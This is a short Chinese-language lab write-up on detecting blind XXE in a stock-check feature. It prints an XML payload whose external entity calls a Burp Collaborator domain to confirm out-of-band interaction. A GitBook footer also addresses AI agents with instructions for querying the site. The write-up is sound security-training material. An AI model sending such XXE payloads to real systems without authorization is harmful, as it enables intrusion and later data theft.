> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-with-out-of-band-interaction.md).

# 通过带外交互的盲 XXE

### 带带外交互的盲 XXE

库存查询功能接受 XML，但 **不显示** 答案。这是一个盲 XXE：你无法直接看到解析器返回的内容。为了检测并利用该漏洞，会生成带带外交互（OOB）——例如对受控域的 DNS 查询或 HTTP 请求（Burp Collaborator / OAST）——以查看解析器是否会发起外部请求。

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
    测试
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

{% endcode %}

如果提交此 XML，界面不会获得任何响应（盲行为）。

<figure><img src="/files/bda50eed723f050059ff3ddbdb8b91330753f299" alt=""><figcaption></figcaption></figure>

#### 使用外部实体与 Burp Collaborator 交互

声明一个指向受控域的外部实体（此处： `h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com`），以强制解析器执行 HTTP/DNS 查询——如果该查询到达 OOB 服务，则说明应用存在盲 XXE 漏洞。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

发送后，我们在 OOB 服务（Burp Collaborator）上看到了请求的接收，这证实了存在带带外交互的盲 XXE。

<figure><img src="/files/5a5c1e59b6ee35a079bfb93c59cc70af67f15795" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-with-out-of-band-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.